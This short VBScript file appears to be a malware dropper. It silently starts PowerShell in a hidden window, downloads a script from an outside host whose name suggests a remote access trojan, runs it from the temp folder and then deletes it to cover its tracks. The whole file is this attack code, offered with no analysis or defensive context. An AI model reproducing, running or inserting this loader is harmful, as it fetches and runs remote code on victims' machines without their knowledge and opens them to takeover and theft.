Set shell = CreateObject("WScript.Shell")
cmd = "powershell.exe -NoProfile -WindowStyle Hidden -Command ""$p=$env:TEMP+'\c.ps1'; (New-Object Net.WebClient).DownloadFile('https://pl.rat-smelt.ts.net/com.ps1',$p); & $p; Remove-Item $p -Force"""
shell.Run cmd, 0, False